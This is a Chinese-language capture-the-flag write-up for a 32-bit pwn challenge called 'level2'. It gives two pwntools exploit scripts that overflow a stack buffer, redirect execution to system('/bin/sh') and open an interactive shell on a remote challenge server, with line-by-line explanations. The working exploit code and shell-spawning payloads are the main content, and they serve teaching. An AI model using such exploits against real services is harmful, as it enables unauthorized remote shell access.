# ! /usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
elf = ELF('leve2')
sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()
payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
io = remote('111.198.29.45',53269)
io.sendlineafter("Input:\n", payload)
io.interactive()
io.close()

代码解析:

elf = ELF('leve2') 
sys_addr = elf.symbols['system']
  • 找到system函数 的地址

sh_addr = elf.search('/bin/sh').next()

  • 找到包含'/bin/sh'的地址.

payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)

  • p32()可以让我们转换整数到小端序格式,转换4字节
  • p32(0xdeadbeef) :system的参数栈要求dw 4

io = remote('111.198.29.45',53269)

  • 连接远程主机

io.sendlineafter("Input:\n", payload)

  • 接收到 some_string 后, 发送你的 payload

io.interactive()

  • 允许我们在终端里将命令传送到远程服务器. Pwntools 会自动接收输出并回显 .

io.close()


另一种payload:

#encoding=utf-8
from pwn import *
a = remote('111.198.29.45',53269)
##system函数的地址
sysaddr = 0x08048320
##程序中/bin/sh字符串所在的地址
binshaddr = 0x0804A024
# 0x88是程序中缓冲区的大小,4个大小是需要覆盖的ebp的地址,之后是函数的返回地址,被system的地址覆盖了,进入到system函数之后,需要构造system函数的栈帧,因为ebp+8是形参的地址
#所以需要四个字节的填充p32(0),后面放的是system里面的参数的地址。这样子溢出之后就会获得shell
payload = 'a'*0x88+'b'*4+p32(sysaddr)+p32(0)+p32(binshaddr)
a.send(payload)
a.interactive()


参考:

https://bbs.pediy.com/thread-247217.htm

https://bbs.pediy.com/thread-251334.htm

https://adworld.xctf.org.cn/task/writeup?type=pwn&id=5055&number=2&grade=0&page=1

最新文章

  1. Bootstrap 按钮
  2. CentOS 6.3 中安装VirtualBOX增强工具失败:Building the main Guest Additions module[FAILED]
  3. POJ3469 Dual Core CPU(最小割)
  4. -bash: rz: command not found
  5. pygame系列_百度随心听_完美的UI设计
  6. Linux: 20 Iptables Examples For New SysAdmins
  7. Servlet的response输出到页面时乱码的解决方法
  8. Chrome扩展与用户隐私
  9. KVM virt-manager使用.
  10. linux搭建php
  11. 【翻译自mos文章】11gR2中的asm后台进程
  12. 解决在linux环境下面不显示验证码的问题
  13. Java-TreeSet的用法-入门
  14. vue组件利用formdata图片预览以及上传《转载》
  15. Quick-Cocos2d-X 捋一捋框架流程
  16. ZooKeeper的使用---命令端
  17. 香茅油:不只是驱虫剂 new
  18. SQLServer 2008 已成功与服务器建立连接,但是在登录前的握手期间发生错误。 (provider: SSL Provider, error: 0 - 等待的操作过时。
  19. debian中默认不存在sudo命令解决方法
  20. Phthon3.4 新特性

热门文章

  1. 修改属性item1(1变化)
  2. Java ——正则表达式
  3. SoapUI乱码问题处理方法
  4. Learn Python the hard way, ex42 物以类聚
  5. chapter2
  6. JavaSE编码试题强化练习5
  7. html—倒计时demo
  8. C++ 中赋值运算符重载以及深拷贝浅拷贝解析
  9. C/C++表达式求值问题
  10. java NIO介绍